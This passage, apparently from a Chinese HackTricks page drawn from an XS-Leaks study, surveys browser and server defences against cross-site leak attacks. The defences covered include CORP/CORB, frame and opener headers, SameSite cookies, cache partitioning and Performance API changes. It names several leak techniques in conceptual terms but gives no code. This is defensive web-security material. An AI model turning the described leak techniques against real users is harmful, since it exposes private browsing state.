  • HTML元素。可以使用CORP头部来控制页面是否可以嵌入资源。CORP可以设置为same-origin或same-site分别阻止对该资源的跨源或跨站点请求。在客户端基于Chromium的浏览器使用CORB算法来决定是否允许或拒绝跨源资源请求。
  • 框架防止iframe元素加载HTML资源的主要防御措施是使用X-Frame-Options。另外,CSP指令frame-ancestors也可以达到类似的效果。如果嵌入被拒绝,包含方法无法检测到响应中的差异。
  • 弹出窗口。为了限制对window.opener的访问,COOP HTTP响应头定义了三个不同的值unsafe-none默认值same-origin-allow-popups和same-origin。这些值可以用于隔离浏览选项卡和弹出窗口,从而缓解基于弹出窗口的泄漏技术。
  • JavaScript请求。跨源JavaScript请求经常在XS-Leak攻击中使用因为攻击者对发出的请求有精细的控制。然而由于这些请求没有启用CORS它们受到与由HTML元素发送的请求如脚本或图像相同的限制。因此通过CORP和CORB也可以缓解此泄漏技术的影响

更通用的方法:

  • 获取元数据。这些请求头允许服务器所有者更好地了解用户的浏览器如何引发特定请求。在Chrome中Sec-Fetch-*头部会自动添加到每个请求中并提供有关请求来源的元数据。例如Sec-Fetch-Dest: image表示该请求是由图像元素触发的。Web应用程序可以根据这些信息选择阻止请求。
  • Same-Site Cookies。Same-Site cookie标志允许网站声明cookie是否应限制在同一站点或第一方上下文中。所有主要浏览器都支持Same-Site cookies。在GC中没有该属性的cookie现在默认为Lax。对于XS-LeaksSame-Site cookies极大地限制了泄漏攻击的可能性。另一方面,依赖于**window.open的泄漏技术仍然适用于SameSite=Lax。使用其他身份验证方法如客户端证书和HTTP身份验证的网站仍然存在漏洞**。
  • 跨源标识符不可链接性COIU。COIU也称为第一方隔离FPI是一种可选的安全功能用户可以在FF的专家设置about:config中启用最初在Tor浏览器中引入。从抽象的角度来看它是一个扩展的同一站点上下文。它将多个资源例如Cookie、缓存、客户端存储绑定到第一方而不是在所有访问的网站之间共享它们。如果启用COIU极大地减少了XS-Leaks的适用性因为只有使用弹出窗口的方法仍然可以符合策略的第一方要求。
  • 跟踪保护。Apple在SA中实施了一种名为**智能跟踪防护ITP**的隐私机制旨在通过限制Cookie和其他Web API的功能来防止跨站点跟踪。在较新的SA版本中ITP默认情况下阻止所有第三方Cookie没有任何例外[74]。这种阻止防止了所有不基于弹出窗口的泄漏。FF采用了类似的方法称为增强跟踪防护ETP但它们只阻止属于跟踪提供者的特定第三方Cookie。在XS-Leaks的背景下ETP只缓解针对这些跟踪域的泄漏技术。
  • 浏览器扩展。安全意识较高的用户可以使用浏览器扩展来防止某些包含方法

泄漏技术的缓解措施

  • 事件处理程序。对于基于泄漏技术的XS-Leaks最有效的缓解措施是全部拒绝它们但这将破坏互联网上的大多数Web应用程序。因此我们建议减少可以在事件中收集的必要信息的数量。例如CSP违规事件不应在blockedURI字段中包含重定向目标URL。这种行为已在FF和较新版本的GC中实现-只有SA仍然存在漏洞。
  • 错误消息。为了缓解基于泄漏技术的XS-Leaks有两个主要要求。首先错误消息不得包含详细信息,类似于事件处理程序消息。其次,浏览器必须最小化错误消息的出现。XS-Leaks如SRI错误、ContentDocument XFO或Fetch重定向会检测是否抛出错误消息。
  • 全局限制。修复滥用全局限制的泄漏技术相对复杂,因为它们依赖于物理限制。因此,一般建议是在小的每个站点基础上限制全局限制。如果全局限制为1例如对于Payment API攻击者可以在任何时候静默尝试激活WebPayment UI只有在没有其他选项卡同时使用UI时才成功。我们建议只在使用可信事件时访问Payment API。通过这种方式除非用户提供同意例如在对话窗口上进行左键单击否则全局限制将设置为零。
  • 全局状态。任何浏览器全局状态的属性都不应该是可访问的。例如FF是唯一一个在重定向发生时更新全局状态历史的浏览器这导致读取history.length。浏览器应该在重定向发生时创建一个新的历史属性而不是全局存储它。其他示例是共享资源例如缓存。缓存泄漏滥用浏览器中用于所有打开网站的共享缓存。要完全缓解缓存泄漏技术HTTP缓存必须在每个站点上进行分区如SA、GC和FF所实现的那样。请注意在SA中iframe不受缓存分区的影响。
  • 性能API。我们证明了性能API是一种出色的泄漏技术。在许多XS-Leaks中我们可以检测到跨源请求的响应是否具有性能条目的差异。为了统一起见我们建议确保所有请求都必须创建这样的条目并且只记录跨源请求的正确子集的定时信息。

参考资料

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


使用Trickest可以轻松构建和自动化工作流程,使用全球最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}